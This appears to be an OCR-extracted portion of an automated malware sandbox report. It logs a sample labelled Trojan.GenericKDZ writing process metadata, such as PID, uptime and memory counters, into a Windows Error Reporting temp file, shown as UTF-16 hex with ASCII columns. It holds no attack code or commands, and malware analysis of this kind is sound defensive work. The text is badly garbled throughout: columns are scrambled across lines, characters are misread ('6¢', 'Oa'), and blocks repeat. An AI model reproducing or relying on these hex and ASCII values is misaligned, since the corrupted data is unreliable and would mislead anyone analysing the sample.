C:\ProgramData\Microsoft\Windo unknown 2

ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

Copyright null 2021

Length Value

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
73 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 69 00 64
00 3e 00 37 00 31 00
34 00 30 00 3c 00 2f
00 50 00 69 00 64 00
3e 00

0d 00 0a 00

09 00

3c 00 49 00 6d 00 61
00 67 00 65 00 4e 00
61 00 6d 00 65 00 3e
00 53 00 65 00 63 00
750072 00 69 00 74
00 65 00 49 00 6e 00
66 00 6f 00 2e 00 63
00 6f 00 6d 00 2e 00
54 00 72 00 6f 00 6a
00 61 00 6e 00 2e 00
47 00 65 00 6e 00 65
00 72 00 69 00 63 00
4b 00 44 00 5a 00 2e
00 37 00 33 00 31 00
3200 34 00 2e 00 31
00 39 00 31 00 37 00
30 00 2e 00 65 00 78
00 65 00 3c 00 2f 00
49 00 6d 00 61 00 67
00 65 00 4e 00 61 00
6d 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 43 00 6d 00 64
00 4c 00 69 00 6e 00
65 00 53 00 69 00 67
00 6e 00 61 00 74 00
7500 72 00 65 00 3e
00 30 00 30 00 30 00
30 00 30 00 30 00 30
00 30 00 3c 00 2f 00
4300 6d 00 64 00 4c
00 69 00 6e 00 65 00
53 00 69 00 67 00 6e
00 61 00 74 00 75 00
72 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 55 00 70 00 74
00 69 00 6d 00 65 00
3e 00 34 00 33 00 37
00 32 00 34 00 3c 00
2f 0055 00 70 00 74
00 69 00 6d 00 65 00
3e 00

0d 00 0a 00

09 00

Source

Ascii Completion Count Address Symbol
success or wait 1 701B497A unknown
success or wait 1 701B497A unknown

<.P.ro.c.e.s.s.l.nf.o.orm.a. success or wait 1 701B497A unknown

ti.o.n.>.
success or wait 1 701B497A unknown
success or wait 2 701B497A unknown
<.P.i.d.>.7.1.4.0.<./.P.i.d.>. success or wait 1 701B497A unknown
success or wait 1 701B497A unknown
success or wait 2 701B497A unknown
<..m.a.g.e.N.a.m.e.>.S.e.c success or wait 1 701B497A unknown

.uritelnfo..com..Tr.

o.j.a.n..G.e.n.e.r.i.c.K.D.Z.

.7.31.2.4..1.9.1.7.0...e.x.

e.</.Im.a.g.e.N.am.e.>.
success or wait 1 701B497A unknown
success or wait 2 701B497A unknown

<.C.m.d.L.i.n.e.S.i.g.n.a.t.u success or wait 1 701B497A unknown

.r.e.>.0.0.0.0.0.0.0.0.

<./.C.m.

d.L.i.n.e.S.i.g.n.ature>.
success or wait 1 701B497A unknown
success or wait 2 701B497A unknown

<.U.p.tim.e>.4.3.7.2.4. success or wait 1 701B497A unknown

<./U.p.tim.e.>.
success or wait 1 701B497A unknown
success or wait 2 701B497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset Length Value

unknown 82

unknown 4

unknown 2

unknown 52

unknown 4

unknown 2

unknown 44

unknown 4

unknown 2

unknown 88

unknown 4

unknown 2

unknown 72

unknown 4

unknown 2

unknown 74

3c 00 57 00 6f 00 77
00 36 00 34 00 20 00
67 00 75 00 65 00 73
00 74 00 3d 00 22 00
33 003300320022
00 20 00 68 00 6f 00
7300 74 00 3d 00 22
00 33 00 34 00 34 00
30 00 34 00 22 00 3e
00 31 00 3c 00 2f 00
57 00 6f 00 77 00 36
00 34 00 3e 00

0d 00 0a 00

09 00

3c 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00 30 00 3c 00
2f 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 56 00 6d 00 49
00 6e 00 66 00 6f 00
72 00 6d 00 61 00 74
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3¢ 00 50 00 65 00 61
00 6b 00 56 00 69 00
7200 74 00 75 00 61
00 6¢ 00 53 00 69 00
7a 00 65 00 3e 00 31
00 30 00 34 00 32 00
3500 39 00 35 00 38
00 34 00 3c 00 2f 00
50 00 65 00 61 00 6b
00 56 00 69 00 72 00
7400 75 00 61 00 6¢
00 53 00 69 00 7a 00
65 00 3e 00

0d 00 0a 00

09 00

3¢ 00 56 00 69 00 72
00 74 00 75 00 61 00
6¢ 00 53 00 69 00 7a
00 65 00 3e 00 31 00
30 00 34 00 32 00 35
00 31 00 33 00 39 00
32 00 3c 00 2f 00 56
00 69 00 72 00 74 00
7500 61 00 6¢ 00 53
00 69 00 7a 00 65 00
3e 00

0d 00 0a 00

09 00

3¢ 00 50 00 61 00 67
00 65 00 46 00 61 00
7500 6¢ 00 74 00 43
00 6f 00 75 00 6e 00
74 00 3e 00 34 00 30
00 33 00 30 00 3c 00
2f 00 50 00 61 00 67
00 65 00 46 00 61 00
7500 6¢ 00 74 00 43
00 6f 00 75 00 6e 00
74 00 3e 00

Ascii Completion

<W.o.w.6.4. success or wait
4.4.04.">.1.

<./W.o.w.6.4.>.

success or wait

success or wait

<.l.p.t.E.n.a.b.l.e.d.>.0.<./. success or wait
l.p.t.E.n.a.b.l.e.d.>.

success or wait

success or wait

<.P.ro.c.e.s.s.V.m.l.n.f.o.r. success or wait
m.a.t.i.o.n.>.

success or wait

success or wait

<.P.eak.\V.irtualS.iz success orwait
e>.1.0.4.2595.84.

<./P.e.

ak.V.irtualS.ize>.

success or wait

success or wait

<.\V.irtualS.iz.e>10. success orwait
4.25.1.3.9.2.</V.irtua.

.S.i.z.e>.

success or wait

success or wait

<.P.a.g.e.F.a.u.l.t.C.0.u.n.t. success or wait
>.4.0.3.0.

<./.P.a.g.e.F.a.u.l.

t.C.o.u.n.t.>.

Source

Count Address Symbol

1

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 98 3c 005000650061 <.P.e.a.k.W.o.rk.in.g.S.e.t success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00 6b 00 57 00 6f00 .S.i.z.e.>.1.5.1.3.4.7.2.0.

7200 6b 00 69 00 6e <./
00670053006500 P.e.akW.o.rkingsS.e.tsS
7400530069007a .i.z.e.>.
00 65 00 3e 00 31 00

3500 3100 33 00 34

00 37 00 32 00 30 00

3c 00 2f 00 50 00 65

00 61 00 6b 00 57 00

6f 00 72 00 6b 00 69

00 6e 00 67 00 53 00

65 00 74 00 53 00 69

00 7a 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 .. success or wait 3 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 82 3c0057006f0072 <.W.o.rk.in.g.S.etS.i.z.e. success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00 6b 00 69 00 6e 00 >.1.5.1.3.4.7.2.0.

67 005300650074 <./W.o.rk.
00530069007a00 in.g.S.etS.ize>.
65 00 3e 00 31 00 35

00 31 00 33 00 34 00

37 00 32 00 30 00 3c

00 2f 00 57 00 6f 00

72 00 6b 00 69 00 6e

00 67 00 53 00 65 00

7400 53 00 69 00 7a

00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 114 3c00510075006f <.Q.u.o.ta.P.e.ak.P.a.g.e. success orwait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 0074 0061005000 d.

650061 00 6b 0050 P.o.0.lU.s.a.g.e>1.8.7.6.
00 61 00 67 00 6500 8.0.

64 00 50 00 6f 00 6f <./.Q.u.0.t.a.P.e.ak.P.ag.
00 6c 0055007300 e.d.P.o.o.l.Us.ag.e.>.

61 00 67 00 65 00 3e

00 31 00 38 00 37 00

36 00 38 00 30 00 3c

00 2f 00 51 00 75 00

6f 00 74 00 61 00 50

00 65 00 61 00 6b 00

50 00 61 00 67 00 65

00 64 00 50 00 6f 00

6f 00 6¢ 00 55 00 73

00 61 00 67 00 65 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 .. success or wait 3 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 98 3c00510075006f <.Q.u.o.ta.P.a.g.e.d.P.o.o. success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00740061005000 lU.s.a.g.e>.1.87.45.6.

6100 67 00 650064 <./.Q.
00 50 00 6f 00 6f 00 6¢ u.o.t.a.P.a.g.e.d.P.0.0.l.U.s
00550073006100 .a.g.e.>.
67 00 65 00 3e 00 31

00 38 00 37 00 34 00

3500 36 00 3c 00 2f

00 51 00 75 00 6f 00

7400 61 00 50 00 61

00 67 00 65 00 64 00

50 00 6f 00 6f 00 6¢

00 55 00 73 00 61 00

67 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait & 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 124 3c00510075006f <.Q.u.o.ta.P.e.ak.N.o.n.P. success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00740061005000 a.

6500 61 00 6b 00 4e g.e.d.P.o.0.l.U.s.a.g.e.>.9.
00 6f 00 6e 0050 00  8.5.3.6.

61 00 67 00 6500 64 <./.Q.u.0.t.a.P.e.a.k.N.

00 50 00 6f00 6f00  o.n.P.a.g.e.d.P.o.0.l.U.s.a.
6c 005500730061 g.e>.

00 67 00 65 00 3e 00

39 00 38 00 35 00 33

00 36 00 3c 00 2f 00

51 00 75 00 6f 00 74

00 61 00 50 00 65 00

61 00 6b 00 4e 00 6f

00 6e 00 50 00 61 00

67 00 65 00 64 00 50

00 6f 00 6f 00 6¢ 00

5500 73 00 61 00 67

00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 .. success or wait 3 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 108 3c00510075006f <.Q.u.o.t.a.N.o.n.P.a.g.e.d. success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00740061004e00 P.

6f 00 6e 0050 00 61  0.0.l.U.s.a.g.e.>.9.8.2.6.4.
0067 00 65006400 <.

50 00 6f 00 6f 00 6c  /.Q.u.o.t.a.N.o.n.P.a.g.e.d.
00550073006100 P.o.0.lUs.ag.e>.

67 00 65 00 3e 00 39

00 38 00 32 00 36 00

34 00 3c 00 2f 00 51

00 75 00 6f 00 74 00

61 00 4e 00 6f 00 6e

00 50 00 61 00 67 00

65 00 64 00 50 00 6f

00 6f 00 6¢ 00 55 00

7300 61 00 67 00 65

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 76 3c 005000610067 <.P.ag.e.fileU.ss.ag.e> successorwait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00 65 0066 006900 8.0.8.1.4.0.8.<./.P.a.g.e.f..

6c 006500550073 leU.s.a.g.e>.
00 61 00 67 00 65 00

3e 00 38 00 30 00 38

00 31 00 34 00 30 00

38 00 3c 00 2f 00 50

00 61 00 67 00 65 00

66 00 69 00 6¢ 00 65

00 55 00 73 00 61 00

67 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 .. success or wait 3 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 92 3c 005000650061 <.P.e.ak.P.ag.ef.ileU.:s. success orwait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00 6b 00 50 00 61 00 a.g.e.>.8.0.8.9.6.0.0.

67 00 6500 66 0069 <./.P.e.

00 6c 00 65005500 ak.P.ag.efile.U.s.ag.e.
73 006100670065 >.

00 3e 00 38 00 30 00

3800 39 00 36 00 30

00 30 00 3c 00 2f 00

50 00 65 00 61 00 6b

00 50 00 61 00 67 00

65 00 66 00 69 00 6¢

00 65 00 55 00 73 00

61 00 67 00 65 00 3e

00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait & 701B497A unknown

ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
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File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 72 3c005000720069 <.P.rivate.U.s.ag.e.>8. success orwait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00760061007400 0.8.1.4.0.8.</.P.r.iv.ate.

65005500730061 U.s.a.g.e.>.
00 67 00 65 00 3e 00
38 00 30 00 38 00 31
00 34 00 30 00 38 00
3c 00 2f 00 50 00 72
00 69 00 76 00 61 00

74 00 65 00 55 00 73

00 61 00 67 00 65 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 46 3c002f00500072 <./.P.ro.ce.s.s.V.m.l.n.f.o. success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00 6f00 63 006500 r.m.a.t.i.o.n.>.

7300 73 00 56 00 6d

00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00

6e 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 30 3c005000610072 <.P.ar.e.n.tP.r.o.c.e.s.s.> success orwait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00 65 00 6e 00 74 00

50 00 72 00 6f 00 63
00 65 00 73 00 73 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40 3c 005000 72006f <.P.r.o.c.e.s.s.lnform.a. success orwait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 0063 0065007300 ti.o.n.>.

73 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 30 3c 005000690064 <.P.i.d.>3.4.4.0.<./.P.i.d.>. success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00 3e 00 33 00 34 00

34 00 30 00 3c 00 2f
00 50 00 69 00 64 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 70 3c0049006d 0061 <..m.a.g.e.N.a.m.e.>.e.x.p success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 0067 006500 4e 00 .l.or.e.r..ex.e.

61 00 6d 00 6500 3e <./.lm.a.g.e.N.am.e>.
00 65 00 78 00 70 00

6¢ 00 6f 00 72 00 65

00 72 00 2e 00 65 00

78 00 65 00 3c 00 2f

00 49 00 6d 00 61 00

67 00 65 00 4e 00 61

00 6d 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 90 3c0043006d0064 <.C.m.d.L.i.n.e.S..g.n.a.t.u success or wait 1 701B497A unknown
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml 00 4c 00 69 00 6e 00 .r.e.>.8.0.0.0.4.0.0.5.

65 005300690067 <./.C.m.
006e 0061007400 d.L.i.n.e.S.ig.nature.>.
7500 72 00 65 00 3e

00 38 00 30 00 30 00

30 00 34 00 30 00 30

00 35 00 3c 00 2f 00

43 00 6d 00 64 00 4c

00 69 00 6e 00 65 00

53 00 69 00 67 00 6e

00 61 00 74 00 75 00

72 00 65 00 3e 00
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 4

unknown 2

unknown 48

unknown 4

unknown 2

unknown 78

unknown 4

unknown 2

unknown 52

unknown 4

unknown 2

unknown 44

unknown 4

unknown 2

unknown 90

unknown 4

unknown 2

Length Value

0d 00 0a 00

09 00

3¢ 00 55 00 70 00 74
00 69 00 6d 00 65 00
3e 00 3500 34 00 35
00 38 00 34 00 39 00
30 00 3c 00 2f 00 55
00 70 00 74 00 69 00
6d 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 57 00 6f 00 77
00 36 00 34 00 20 00
67 00 75 00 65 00 73
00 74 00 3d 00 22 00
30 00 22 00 20 00 68
00 6f 00 73 00 74 00
3d 00 22 00 33 00 34
00 34 00 30 00 34 00
2200 3e 0030 00 3c
00 2f 00 57 00 6f 00
7700 36 00 34 00 3e
00

0d 00 0a 00

09 00

3c 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00 30 00 3c 00
2f 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 56 00 6d 00 49
00 6e 00 66 00 6f 00
72 00 6d 00 61 00 74
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3¢ 00 50 00 65 00 61
00 6b 00 56 00 69 00
7200 74 00 75 00 61
00 6¢ 00 53 00 69 00
7a 00 65 00 3e 00 34
00 32 00 39 00 34 00
39 00 36 00 37 00 32
00 39 00 35 00 3c 00
2f 00 50 00 65 00 61
00 6b 00 56 00 69 00
7200 74 00 75 00 61
00 6¢ 00 53 00 69 00
7a 00 65 00 3e 00

0d 00 0a 00

09 00

Ascii

<.U.p.tim.e.>.5.4.5.8.4.9.
0.<./.U.p.ti.m.e.>.

.h.0.5.t.=.".3.4.4.0.4.">.0.
<./W.o.w.6.4.>.

<..p.t.E.n.a.b.l.e.d.>.0.</.
l.p.t.E.n.a.b.l.e.d.>.

<.P.ro.ce.s.s.V.m.Ln.fo.r.
m.a.t.i.o.n.>.

<.P.e.ak.V.irtualS.z.
€.>.4.2.9.4.9.6.7.2.9.5.
<./.P.
eak.\VirtualS.ize>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

1

4

1

1

5

Source

Address Symbol

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset Length

unknown 74

unknown 4

unknown 2

unknown 76

unknown 4

unknown 2

unknown 100

unknown 4

unknown 2

unknown 84

unknown 4

unknown 2

unknown 114

Value

3c 00 56 00 69 00 72
00 74 00 75 00 61 00
6¢ 00 53 00 69 00 7a
00 65 00 3e 00 34 00
320039 00 34 00 39
00 36 00 37 00 32 00
39 00 35 00 3c 00 2f
00 56 00 69 00 72 00
7400 7500 61 00 6¢
00 53 00 69 00 7a 00
65 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 61 00 67
00 65 00 46 00 61 00
7500 6¢ 00 74 00 43
00 6f 00 75 00 6e 00
7400 3e 00 35 00 34
00 35 00 32 00 38 00
3c 00 2f 00 50 00 61
00 67 00 65 00 46 00
61 00 75 00 6¢ 00 74
00 43 00 6f 00 75 00
6e 00 74 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 65 00 61
00 6b 00 57 00 6f 00

72 00 6b 00 69 00 6e
00 67 00 53 00 65 00
74 0053 0069 00 7a
00 65 00 3e 00 31 00
3000 37 00 31 00 34
00 33 00 31 00 36 00
38 00 3c 00 2f 00 50

00 65 00 61 00 6b 00
57 00 6f 00 72 00 6b

00 69 00 6e 00 67 00
53 00 65 00 74 00 53
00 69 00 7a 00 65 00
3e 00

0d 00 0a 00

09 00

3c 00 57 00 6f 00 72
00 6b 00 69 00 6e 00
67 00 53 00 65 00 74
00 53 00 69 00 7a 00
65 00 3e 00 31 00 30
00 36 00 36 00 30 00
36 00 35 00 39 00 32
00 3c 00 2f 00 57 00
6f 00 72 00 6b 00 69
00 6e 00 67 00 53 00
65 00 74 00 53 00 69
00 7a 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
65 00 61 00 6b 00 50
00 61 00 67 00 65 00
64 00 50 00 6f 00 6f
00 6¢ 00 55 00 73 00
61 00 67 00 65 00 3e
00 39 00 38 00 37 00
33 00 36 00 38 00 3c
00 2f 00 51 00 75 00
6f 00 74 00 61 00 50
00 65 00 61 00 6b 00
50 00 61 00 67 00 65
00 64 00 50 00 6f 00
6f 00 6¢ 00 55 00 73
00 61 00 67 00 65 00
3e 00

Ascii

<VirtualS.iz.e>42.
9.4.9.6.7.2.9.5.<./.V.irtu.

alS.iz.e>.

Completion

success or wait

success or wait

success or wait

<.P.a.g.e.F.a.u.l.t.C.0.u.n.t. success or wait

>5.4.5.2.8.
<./.P.a.g.e.F.a.u.
L.t.C.o.u.n.t.>.
